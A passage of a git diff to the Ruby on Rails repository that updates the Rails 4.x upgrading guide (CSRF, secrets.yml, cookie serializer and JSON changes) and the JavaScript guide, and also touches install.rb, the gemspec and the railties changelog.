+    puts "Called"
+    mail(to: user.email, ...)
+  end
+end
+
+mail = Notifier.notify(user, ...) # Notifier#notify is not yet called at this point
+mail = mail.deliver_now           # Prints "Called"
+```
+
+This should not result in any noticeable differences for most applications.
+However, if you need some non-mailer methods to be executed synchronously, and
+you were previously relying on the synchronous proxying behavior, you should
+define them as class methods on the mailer class directly:
+
+```ruby
+class Notifier < ActionMailer::Base
+  def self.broadcast_notifications(users, ...)
+    users.each { |user| Notifier.notify(user, ...) }
+  end
+end
+```
+
+### Foreign Key Support
+
+The migration DSL has been expanded to support foreign key definitions. If
+you've been using the Foreigner gem, you might want to consider removing it.
+Note that the foreign key support of Rails is a subset of Foreigner. This means
+that not every Foreigner definition can be fully replaced by it's Rails
+migration DSL counterpart.
+
+The migration procedure is as follows:
+
+1. remove `gem "foreigner"` from the Gemfile.
+2. run `bundle install`.
+3. run `bin/rake db:schema:dump`.
+4. make sure that `db/schema.rb` contains every foreign key definition with
+the necessary options.
+
+Upgrading from Rails 4.0 to Rails 4.1
+-------------------------------------
+
+### CSRF protection from remote `<script>` tags
+
+Or, "whaaat my tests are failing!!!?"
+
+Cross-site request forgery (CSRF) protection now covers GET requests with
+JavaScript responses, too. This prevents a third-party site from referencing
+your JavaScript URL and attempting to run it to extract sensitive data.
+
+This means that your functional and integration tests that use
+
+```ruby
+get :index, format: :js
+```
+
+will now trigger CSRF protection. Switch to
+
+```ruby
+xhr :get, :index, format: :js
+```
+
+to explicitly test an `XmlHttpRequest`.
+
+If you really mean to load JavaScript from remote `<script>` tags, skip CSRF
+protection on that action.
+
+### Spring
+
+If you want to use Spring as your application preloader you need to:
+
+1. Add `gem 'spring', group: :development` to your `Gemfile`.
+2. Install spring using `bundle install`.
+3. Springify your binstubs with `bundle exec spring binstub --all`.
+
+NOTE: User defined rake tasks will run in the `development` environment by
+default. If you want them to run in other environments consult the
+[Spring README](https://github.com/rails/spring#rake).
+
+### `config/secrets.yml`
+
+If you want to use the new `secrets.yml` convention to store your application's
+secrets, you need to:
+
+1. Create a `secrets.yml` file in your `config` folder with the following content:
+
+    ```yaml
+    development:
+      secret_key_base:
+
+    test:
+      secret_key_base:
+
+    production:
+      secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+    ```
+
+2. Use your existing `secret_key_base` from the `secret_token.rb` initializer to
+   set the SECRET_KEY_BASE environment variable for whichever users running the
+   Rails application in production mode. Alternatively, you can simply copy the existing
+   `secret_key_base` from the `secret_token.rb` initializer to `secrets.yml`
+   under the `production` section, replacing '<%= ENV["SECRET_KEY_BASE"] %>'.
+
+3. Remove the `secret_token.rb` initializer.
+
+4. Use `rake secret` to generate new keys for the `development` and `test` sections.
+
+5. Restart your server.
+
+### Changes to test helper
+
+If your test helper contains a call to
+`ActiveRecord::Migration.check_pending!` this can be removed. The check
+is now done automatically when you `require 'rails/test_help'`, although
+leaving this line in your helper is not harmful in any way.
+
+### Cookies serializer
+
+Applications created before Rails 4.1 uses `Marshal` to serialize cookie values into
+the signed and encrypted cookie jars. If you want to use the new `JSON`-based format
+in your application, you can add an initializer file with the following content:
+
+```ruby
+Rails.application.config.action_dispatch.cookies_serializer = :hybrid
+```
+
+This would transparently migrate your existing `Marshal`-serialized cookies into the
+new `JSON`-based format.
+
+When using the `:json` or `:hybrid` serializer, you should beware that not all
+Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects
+will be serialized as strings, and `Hash`es will have their keys stringified.
+
+```ruby
+class CookiesController < ApplicationController
+  def set_cookie
+    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
+    redirect_to action: 'read_cookie'
+  end
+
+  def read_cookie
+    cookies.encrypted[:expiration_date] # => "2014-03-20"
+  end
+end
+```
+
+It's advisable that you only store simple data (strings and numbers) in cookies.
+If you have to store complex objects, you would need to handle the conversion
+manually when reading the values on subsequent requests.
+
+If you use the cookie session store, this would apply to the `session` and
+`flash` hash as well.
+
+### Flash structure changes
+
+Flash message keys are
+[normalized to strings](https://github.com/rails/rails/commit/a668beffd64106a1e1fedb71cc25eaaa11baf0c1). They
+can still be accessed using either symbols or strings. Looping through the flash
+will always yield string keys:
+
+```ruby
+flash["string"] = "a string"
+flash[:symbol] = "a symbol"
+
+# Rails < 4.1
+flash.keys # => ["string", :symbol]
+
+# Rails >= 4.1
+flash.keys # => ["string", "symbol"]
+```
+
+Make sure you are comparing Flash message keys against strings.
+
+### Changes in JSON handling
+
+There are a few major changes related to JSON handling in Rails 4.1.
+
+#### MultiJSON removal
+
+MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576)
+and has been removed from Rails.
+
+If your application currently depend on MultiJSON directly, you have a few options:
+
+1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future
+
+2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead.
+
+WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with
+`JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and
+deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.0.0/libdoc/json/rdoc/JSON.html#method-i-load).
+
+#### JSON gem compatibility
+
+Historically, Rails had some compatibility issues with the JSON gem. Using
+`JSON.generate` and `JSON.dump` inside a Rails application could produce
+unexpected errors.
+
+Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The
+JSON gem APIs will function as normal, but they will not have access to any
+Rails-specific features. For example:
+
+```ruby
+class FooBar
+  def as_json(options = nil)
+    { foo: 'bar' }
+  end
+end
+
+>> FooBar.new.to_json # => "{\"foo\":\"bar\"}"
+>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\""
+```
+
+#### New JSON encoder
+
+The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON
+gem. For most applications, this should be a transparent change. However, as
+part of the rewrite, the following features have been removed from the encoder:
+
+1. Circular data structure detection
+2. Support for the `encode_json` hook
+3. Option to encode `BigDecimal` objects as numbers instead of strings
+
+If your application depends on one of these features, you can get them back by
+adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder)
+gem to your Gemfile.
+
+#### JSON representation of Time objects
+
+`#as_json` for objects with time component (`Time`, `DateTime`, `ActiveSupport::TimeWithZone`)
+now returns millisecond precision by default. If you need to keep old behavior with no millisecond
+precision, set the following in an initializer:
+
+```
+ActiveSupport::JSON::Encoding.time_precision = 0
+```
+
+### Usage of `return` within inline callback blocks
+
+Previously, Rails allowed inline callback blocks to use `return` this way:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+  before_save { return false } # BAD
+end
+```
+
+This behavior was never intentionally supported. Due to a change in the internals
+of `ActiveSupport::Callbacks`, this is no longer allowed in Rails 4.1. Using a
+`return` statement in an inline callback block causes a `LocalJumpError` to
+be raised when the callback is executed.
+
+Inline callback blocks using `return` can be refactored to evaluate to the
+returned value:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+  before_save { false } # GOOD
+end
+```
+
+Alternatively, if `return` is preferred it is recommended to explicitly define
+a method:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+  before_save :before_save_callback # GOOD
+
+  private
+    def before_save_callback
+      return false
+    end
+end
+```
+
+This change applies to most places in Rails where callbacks are used, including
+Active Record and Active Model callbacks, as well as filters in Action
+Controller (e.g. `before_action`).
+
+See [this pull request](https://github.com/rails/rails/pull/13271) for more
+details.
+
+### Methods defined in Active Record fixtures
+
+Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods
+defined in a fixture will not be available in other fixtures.
+
+Helper methods that are used in multiple fixtures should be defined on modules
+included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in
+`test_helper.rb`.
+
+```ruby
+module FixtureFileHelpers
+  def file_sha(path)
+    Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+  end
+end
+ActiveRecord::FixtureSet.context_class.include FixtureFileHelpers
+```
+
+### I18n enforcing available locales
+
+Rails 4.1 now defaults the I18n option `enforce_available_locales` to `true`. This
+means that it will make sure that all locales passed to it must be declared in
+the `available_locales` list.
+
+To disable it (and allow I18n to accept *any* locale option) add the following
+configuration to your application:
+
+```ruby
+config.i18n.enforce_available_locales = false
+```
+
+Note that this option was added as a security measure, to ensure user input
+cannot be used as locale information unless it is previously known. Therefore,
+it's recommended not to disable this option unless you have a strong reason for
+doing so.
+
+### Mutator methods called on Relation
+
+`Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert
+to an `Array` by calling `#to_a` before using these methods.
+
+It intends to prevent odd bugs and confusion in code that call mutator
+methods directly on the `Relation`.
+
+```ruby
+# Instead of this
+Author.where(name: 'Hank Moody').compact!
+
+# Now you have to do this
+authors = Author.where(name: 'Hank Moody').to_a
+authors.compact!
+```
+
+### Changes on Default Scopes
+
+Default scopes are no longer overridden by chained conditions.
+
+In previous versions when you defined a `default_scope` in a model
+it was overridden by chained conditions in the same field. Now it
+is merged like any other scope.
+
+Before:
+
+```ruby
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+After:
+
+```ruby
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
+```
+
+To get the previous behavior it is needed to explicitly remove the
+`default_scope` condition using `unscoped`, `unscope`, `rewhere` or
+`except`.
+
+```ruby
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { unscope(where: :state).where(state: 'active') }
+  scope :inactive, -> { rewhere state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.inactive
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+### Rendering content from string
+
+Rails 4.1 introduces `:plain`, `:html`, and `:body` options to `render`. Those
+options are now the preferred way to render string-based content, as it allows
+you to specify which content type you want the response sent as.
+
+* `render :plain` will set the content type to `text/plain`
+* `render :html` will set the content type to `text/html`
+* `render :body` will *not* set the content type header.
+
+From the security standpoint, if you don't expect to have any markup in your
+response body, you should be using `render :plain` as most browsers will escape
+unsafe content in the response for you.
+
+We will be deprecating the use of `render :text` in a future version. So please
+start using the more precise `:plain`, `:html`, and `:body` options instead.
+Using `render :text` may pose a security risk, as the content is sent as
+`text/html`.
+
+### PostgreSQL json and hstore datatypes
+
+Rails 4.1 will map `json` and `hstore` columns to a string-keyed Ruby `Hash`.
+In earlier versions, a `HashWithIndifferentAccess` was used. This means that
+symbol access is no longer supported. This is also the case for
+`store_accessors` based on top of `json` or `hstore` columns. Make sure to use
+string keys consistently.
+
+### Explicit block use for `ActiveSupport::Callbacks`
+
+Rails 4.1 now expects an explicit block to be passed when calling
+`ActiveSupport::Callbacks.set_callback`. This change stems from
+`ActiveSupport::Callbacks` being largely rewritten for the 4.1 release.
+
+```ruby
+# Previously in Rails 4.0
+set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff }
+
+# Now in Rails 4.1
+set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff }
+```
+
+Upgrading from Rails 3.2 to Rails 4.0
+-------------------------------------
+
+If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.
+
+The following changes are meant for upgrading your application to Rails 4.0.
+
 ### HTTP PATCH
 
 Rails 4 now uses `PATCH` as the primary HTTP verb for updates when a RESTful
@@ -86,7 +767,7 @@ being used, you can update your form to use the `PUT` method instead:
 <%= form_for [ :update_name, @user ], method: :put do |f| %>
 ```
 
-For more on PATCH and why this change was made, see [this post](http://weblog.rubyonrails.org/2012/2/25/edge-rails-patch-is-the-new-primary-http-method-for-updates/)
+For more on PATCH and why this change was made, see [this post](http://weblog.rubyonrails.org/2012/2/26/edge-rails-patch-is-the-new-primary-http-method-for-updates/)
 on the Rails blog.
 
 #### A note about media types
@@ -102,7 +783,7 @@ def update
   respond_to do |format|
     format.json do
       # perform a partial update
-      @post.update params[:post]
+      @article.update params[:article]
     end
 
     format.json_patch do
@@ -120,15 +801,6 @@ Ruby libraries yet. Aaron Patterson's
 [hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have
 full support for the last few changes in the specification.
 
-Upgrading from Rails 3.2 to Rails 4.0
--------------------------------------
-
-NOTE: This section is a work in progress.
-
-If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.
-
-The following changes are meant for upgrading your application to Rails 4.0.
-
 ### Gemfile
 
 Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that
@@ -138,7 +810,7 @@ file (in `config/application.rb`):
 ```ruby
 # Require the gems listed in Gemfile, including any gems
 # you've limited to :test, :development, or :production.
-Bundler.require(:default, Rails.env)
+Bundler.require(*Rails.groups)
 ```
 
 ### vendor/plugins
@@ -155,6 +827,9 @@ Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must rep
 
 * Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`.
 
+* When using the default coder, assigning `nil` to a serialized attribute will save it
+to the database as `NULL` instead of passing the `nil` value through YAML (`"--- \n...\n"`).
+
 * Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) for a smooth upgrade path.
 
 * If you are not using Protected Attributes, you can remove any options related to
@@ -170,10 +845,11 @@ this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options.
 ```
 
 * Rails 4.0 has deprecated `ActiveRecord::Fixtures` in favor of `ActiveRecord::FixtureSet`.
+
 * Rails 4.0 has deprecated `ActiveRecord::TestCase` in favor of `ActiveSupport::TestCase`.
 
 * Rails 4.0 has deprecated the old-style hash based finder API. This means that
-  methods which previously accepted "finder options" no longer do.
+  methods which previously accepted "finder options" no longer do.  For example, `Book.find(:all, conditions: { name: '1984' })` has been deprecated in favor of `Book.where(name: '1984')`
 
 * All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated.
   Here's how you can handle the changes:
@@ -198,7 +874,7 @@ Rails 4.0 extracted Active Resource to its own gem. If you still need the featur
 
 * Rails 4.0 has changed how errors attach with the `ActiveModel::Validations::ConfirmationValidator`. Now when confirmation validations fail, the error will be attached to `:#{attribute}_confirmation` instead of `attribute`.
 
-* Rails 4.0 has changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to `false`. Now, Active Model Serializers and Active Record objects have the same default behaviour. This means that you can comment or remove the following option in the `config/initializers/wrap_parameters.rb` file:
+* Rails 4.0 has changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to `false`. Now, Active Model Serializers and Active Record objects have the same default behavior. This means that you can comment or remove the following option in the `config/initializers/wrap_parameters.rb` file:
 
 ```ruby
 # Disable root element in JSON by default.
@@ -277,13 +953,13 @@ get 'こんにちは', controller: 'welcome', action: 'index'
 
 ```ruby
   # Rails 3.x
-  match "/" => "root#index"
+  match '/' => 'root#index'
 
   # becomes
-  match "/" => "root#index", via: :get
+  match '/' => 'root#index', via: :get
 
   # or
-  get "/" => "root#index"
+  get '/' => 'root#index'
 ```
 
 * Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `config.action_dispatch.default_headers`.
@@ -324,13 +1000,12 @@ The order in which helpers from more than one directory are loaded has changed i
 
 ### Active Record Observer and Action Controller Sweeper
 
-Active Record Observer and Action Controller Sweeper have been extracted to the `rails-observers` gem. You will need to add the `rails-observers` gem if you require these features.
+`ActiveRecord::Observer` and `ActionController::Caching::Sweeper` have been extracted to the `rails-observers` gem. You will need to add the `rails-observers` gem if you require these features.
 
 ### sprockets-rails
 
-* `assets:precompile:primary` has been removed. Use `assets:precompile` instead.
-* The `config.assets.compress` option should be changed to
-`config.assets.js_compressor` like so for instance:
+* `assets:precompile:primary` and `assets:precompile:all` have been removed. Use `assets:precompile` instead.
+* The `config.assets.compress` option should be changed to `config.assets.js_compressor` like so for instance:
 
 ```ruby
 config.assets.js_compressor = :uglifier
@@ -338,25 +1013,27 @@ config.assets.js_compressor = :uglifier
 
 ### sass-rails
 
-* `asset_url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")`
+* `asset-url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")`.
 
 Upgrading from Rails 3.1 to Rails 3.2
 -------------------------------------
 
-If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
+If your application is currently on any version of Rails older than 3.1.x, you
+should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
 
-The following changes are meant for upgrading your application to Rails 3.2.12, the latest 3.2.x version of Rails.
+The following changes are meant for upgrading your application to the latest
+3.2.x version of Rails.
 
 ### Gemfile
 
 Make the following changes to your `Gemfile`.
 
 ```ruby
-gem 'rails', '= 3.2.12'
+gem 'rails', '3.2.21'
 
 group :assets do
-  gem 'sass-rails',   '~> 3.2.3'
-  gem 'coffee-rails', '~> 3.2.1'
+  gem 'sass-rails',   '~> 3.2.6'
+  gem 'coffee-rails', '~> 3.2.2'
   gem 'uglifier',     '>= 1.0.3'
 end
 ```
@@ -387,26 +1064,30 @@ config.active_record.mass_assignment_sanitizer = :strict
 
 Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
 
+### Active Record
+
+Option `:dependent => :restrict` has been removed from `belongs_to`. If you want to prevent deleting the object if there are any associated objects, you can set `:dependent => :destroy` and return `false` after checking for existence of association from any of the associated object's destroy callbacks.
+
 Upgrading from Rails 3.0 to Rails 3.1
 -------------------------------------
 
 If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.
 
-The following changes are meant for upgrading your application to Rails 3.1.11, the latest 3.1.x version of Rails.
+The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails.
 
 ### Gemfile
 
 Make the following changes to your `Gemfile`.
 
 ```ruby
-gem 'rails', '= 3.1.11'
+gem 'rails', '3.1.12'
 gem 'mysql2'
 
 # Needed for the new asset pipeline
 group :assets do
-  gem 'sass-rails',   "~> 3.1.5"
-  gem 'coffee-rails', "~> 3.1.1"
-  gem 'uglifier',     ">= 1.0.3"
+  gem 'sass-rails',   '~> 3.1.7'
+  gem 'coffee-rails', '~> 3.1.1'
+  gem 'uglifier',     '>= 1.0.3'
 end
 
 # jQuery is the default JavaScript library in Rails 3.1
@@ -473,8 +1154,8 @@ You can help test performance with these additions to your test environment:
 
 ```ruby
 # Configure static asset server for tests with Cache-Control for performance
-config.serve_static_assets = true
-config.static_cache_control = "public, max-age=3600"
+config.serve_static_files = true
+config.static_cache_control = 'public, max-age=3600'
 ```
 
 ### config/initializers/wrap_parameters.rb
@@ -509,7 +1190,7 @@ AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW'
 or
 
 ```bash
-$ rake db:sessions:clear
+$ bin/rake db:sessions:clear
 ```
 
 ### Remove :cache and :concat options in asset helpers references in views
diff --git a/guides/source/working_with_javascript_in_rails.md b/guides/source/working_with_javascript_in_rails.md
index 301e0e7e6c..f3d3a83afc 100644
--- a/guides/source/working_with_javascript_in_rails.md
+++ b/guides/source/working_with_javascript_in_rails.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Working with JavaScript in Rails
 ================================
 
@@ -111,7 +113,9 @@ paintIt = (element, backgroundColor, textColor) ->
     element.style.color = textColor
 
 $ ->
-  $("a[data-background-color]").click ->
+  $("a[data-background-color]").click (e) ->
+    e.preventDefault()
+
     backgroundColor = $(this).data("background-color")
     textColor = $(this).data("text-color")
     paintIt(this, backgroundColor, textColor)
@@ -156,7 +160,7 @@ is a helper that assists with writing forms. `form_for` takes a `:remote`
 option. It works like this:
 
 ```erb
-<%= form_for(@post, remote: true) do |f| %>
+<%= form_for(@article, remote: true) do |f| %>
   ...
 <% end %>
 ```
@@ -164,12 +168,12 @@ option. It works like this:
 This will generate the following HTML:
 
 ```html
-<form accept-charset="UTF-8" action="/posts" class="new_post" data-remote="true" id="new_post" method="post">
+<form accept-charset="UTF-8" action="/articles" class="new_article" data-remote="true" id="new_article" method="post">
   ...
 </form>
 ```
 
-Note the `data-remote='true'`. Now, the form will be submitted by Ajax rather
+Note the `data-remote="true"`. Now, the form will be submitted by Ajax rather
 than by the browser's normal submit mechanism.
 
 You probably don't want to just sit there with a filled out `<form>`, though.
@@ -178,10 +182,10 @@ bind to the `ajax:success` event. On failure, use `ajax:error`. Check it out:
 
 ```coffeescript
 $(document).ready ->
-  $("#new_post").on("ajax:success", (e, data, status, xhr) ->
-    $("#new_post").append xhr.responseText
-  ).bind "ajax:error", (e, xhr, status, error) ->
-    $("#new_post").append "<p>ERROR</p>"
+  $("#new_article").on("ajax:success", (e, data, status, xhr) ->
+    $("#new_article").append xhr.responseText
+  ).on "ajax:error", (e, xhr, status, error) ->
+    $("#new_article").append "<p>ERROR</p>"
 ```
 
 Obviously, you'll want to be a bit more sophisticated than that, but it's a
@@ -194,7 +198,17 @@ is very similar to `form_for`. It has a `:remote` option that you can use like
 this:
 
 ```erb
-<%= form_tag('/posts', remote: true) %>
+<%= form_tag('/articles', remote: true) do %>
+  ...
+<% end %>
+```
+
+This will generate the following HTML:
+
+```html
+<form accept-charset="UTF-8" action="/articles" data-remote="true" method="post">
+  ...
+</form>
 ```
 
 Everything else is the same as `form_for`. See its documentation for full
@@ -207,21 +221,21 @@ is a helper that assists with generating links. It has a `:remote` option you
 can use like this:
 
 ```erb
-<%= link_to "a post", @post, remote: true %>
+<%= link_to "an article", @article, remote: true %>
 ```
 
 which generates
 
 ```html
-<a href="/posts/1" data-remote="true">a post</a>
+<a href="/articles/1" data-remote="true">an article</a>
 ```
 
 You can bind to the same Ajax events as `form_for`. Here's an example. Let's
-assume that we have a list of posts that can be deleted with just one
+assume that we have a list of articles that can be deleted with just one
 click. We would generate some HTML like this:
 
 ```erb
-<%= link_to "Delete post", @post, remote: true, method: :delete %>
+<%= link_to "Delete article", @article, remote: true, method: :delete %>
 ```
 
 and write some CoffeeScript like this:
@@ -229,7 +243,7 @@ and write some CoffeeScript like this:
 ```coffeescript
 $ ->
   $("a[data-remote]").on "ajax:success", (e, data, status, xhr) ->
-    alert "The post was deleted."
+    alert "The article was deleted."
 ```
 
 ### button_to
@@ -237,14 +251,14 @@ $ ->
 [`button_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to) is a helper that helps you create buttons. It has a `:remote` option that you can call like this:
 
 ```erb
-<%= button_to "A post", @post, remote: true %>
+<%= button_to "An article", @article, remote: true %>
 ```
 
 this generates
 
 ```html
-<form action="/posts/1" class="button_to" data-remote="true" method="post">
-  <div><input type="submit" value="A post"></div>
+<form action="/articles/1" class="button_to" data-remote="true" method="post">
+  <div><input type="submit" value="An article"></div>
 </form>
 ```
 
@@ -299,10 +313,10 @@ The `app/views/users/_user.html.erb` partial contains the following:
 The top portion of the index page displays the users. The bottom portion
 provides a form to create a new user.
 
-The bottom form will call the create action on the Users controller. Because
+The bottom form will call the `create` action on the `UsersController`. Because
 the form's remote option is set to true, the request will be posted to the
-users controller as an Ajax request, looking for JavaScript. In order to
-service that request, the create action of your controller would look like
+`UsersController` as an Ajax request, looking for JavaScript. In order to
+serve that request, the `create` action of your controller would look like
 this:
 
 ```ruby
@@ -343,7 +357,7 @@ This gem uses Ajax to speed up page rendering in most applications.
 
 Turbolinks attaches a click handler to all `<a>` on the page. If your browser
 supports
-[PushState](https://developer.mozilla.org/en-US/docs/DOM/Manipulating_the_browser_history#The_pushState(\).C2.A0method),
+[PushState](https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history#The_pushState()_method),
 Turbolinks will make an Ajax request for the page, parse the response, and
 replace the entire `<body>` of the page with the `<body>` of the response. It
 will then use PushState to change the URL to the correct one, preserving
diff --git a/guides/w3c_validator.rb b/guides/w3c_validator.rb
index 6ef3df45a9..71f044b9c4 100644
--- a/guides/w3c_validator.rb
+++ b/guides/w3c_validator.rb
@@ -60,6 +60,8 @@ module RailsGuides
     def guides_to_validate
       guides = Dir["./output/*.html"]
       guides.delete("./output/layout.html")
+      guides.delete("./output/_license.html")
+      guides.delete("./output/_welcome.html")
       ENV.key?('ONLY') ? select_only(guides) : guides
     end
 
diff --git a/install.rb b/install.rb
index bff8fee934..96e4153165 100644
--- a/install.rb
+++ b/install.rb
@@ -5,7 +5,7 @@ if version.nil?
   exit(64)
 end
 
-%w( activesupport activemodel activerecord actionpack actionview actionmailer railties ).each do |framework|
+%w( activesupport activemodel activerecord actionpack actionview actionmailer railties activejob ).each do |framework|
   puts "Installing #{framework}..."
   `cd #{framework} && gem build #{framework}.gemspec && gem install #{framework}-#{version}.gem --no-ri --no-rdoc && rm #{framework}-#{version}.gem`
 end
diff --git a/rails.gemspec b/rails.gemspec
index b426faf0e8..1398169922 100644
--- a/rails.gemspec
+++ b/rails.gemspec
@@ -7,7 +7,7 @@ Gem::Specification.new do |s|
   s.summary     = 'Full-stack web application framework.'
   s.description = 'Ruby on Rails is a full-stack web framework optimized for programmer happiness and sustainable productivity. It encourages beautiful code by favoring convention over configuration.'
 
-  s.required_ruby_version     = '>= 1.9.3'
+  s.required_ruby_version     = '>= 2.2.0'
   s.required_rubygems_version = '>= 1.8.11'
 
   s.license = 'MIT'
@@ -16,15 +16,17 @@ Gem::Specification.new do |s|
   s.email    = 'david@loudthinking.com'
   s.homepage = 'http://www.rubyonrails.org'
 
-  s.files = ['README.md'] + Dir['guides/**/*']
+  s.files = ['README.md']
 
   s.add_dependency 'activesupport', version
   s.add_dependency 'actionpack',    version
   s.add_dependency 'actionview',    version
+  s.add_dependency 'activemodel',   version
   s.add_dependency 'activerecord',  version
   s.add_dependency 'actionmailer',  version
+  s.add_dependency 'activejob',     version
   s.add_dependency 'railties',      version
 
   s.add_dependency 'bundler',         '>= 1.3.0', '< 2.0'
-  s.add_dependency 'sprockets-rails', '~> 2.0.0'
+  s.add_dependency 'sprockets-rails'
 end
diff --git a/railties/CHANGELOG.md b/railties/CHANGELOG.md
index cc9722e59c..f88e6242c0 100644
--- a/railties/CHANGELOG.md
+++ b/railties/CHANGELOG.md
@@ -1,107 +1,85 @@
-*   rake notes now searches *.less files
-
-    *Josh Crowder*
-
-*   Generate nested route for namespaced controller generated using
-    `rails g controller`.
-    Fixes #11532.
-    
-    Example:
-    
-        rails g controller admin/dashboard index
-        
-        # Before:
-        get "dashboard/index"
-        
-        # After:
-        namespace :admin do
-          get "dashboard/index"
-        end
-    
-    *Prathamesh Sonpatki*
-    
-*   Fix the event name of action_dispatch requests.
+*   Newly generated applications get a `README.md` in Markdown.
 
-    *Rafael Mendonça França*
+    *Xavier Noria*
 
-*   Make `config.log_level` work with custom loggers.
+*   Remove the documentation tasks `doc:app`, `doc:rails`, and `doc:guides`.
 
-    *Max Shytikov*
+    *Xavier Noria*
 
-*   Changed stylesheet load order in the stylesheet manifest generator.
-    Fixes #11639.
+*   Force generated routes to be inserted into routes.rb
 
-    *Pawel Janiak*
+    *Andrew White*
 
-*   Added generated unit test for generator generator using new
-    `test:generators` rake task.
+*   Don't remove all line endings from routes.rb when revoking scaffold.
 
-    *Josef Šimánek*
+    Fixes #15913.
 
-*   Removed `update:application_controller` rake task.
+    *Andrew White*
 
-    *Josef Šimánek*
+*   Rename `--skip-test-unit` option to `--skip-test` in app generator
 
-*   Fix `rake environment` to do not eager load modules
+    *Melanie Gilman*
 
-    *Paul Nikitochkin*
+*   Add the `method_source` gem to the default Gemfile for apps
 
-*   Fix `rake notes` to look into `*.sass` files
+    *Sean Griffin*
 
-    *Yuri Artemev*
+*   Drop old test locations from `rake stats`
+    - test/functional
+    - test/unit
 
-*   Removed deprecated `Rails.application.railties.engines`.
+    *Ravil Bayramgalin*
 
-    *Arun Agrawal*
+*   Update `rake stats` to  correctly count declarative tests
+    as methods in `_test.rb` files.
 
-*   Removed deprecated threadsafe! from Rails Config.
+    *Ravil Bayramgalin*
 
-    *Paul Nikitochkin*
+*   Remove deprecated `test:all` and `test:all:db` tasks.
 
-*   Remove deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in
-    favor of `ActiveRecord::Generators::ActiveModel#update`
+    *Rafael Mendonça França*
 
-    *Vipul A M*
+*   Remove deprecated `Rails::Rack::LogTailer`.
 
-*   Remove deprecated `config.whiny_nils` option
+    *Rafael Mendonça França*
 
-    *Vipul A M*
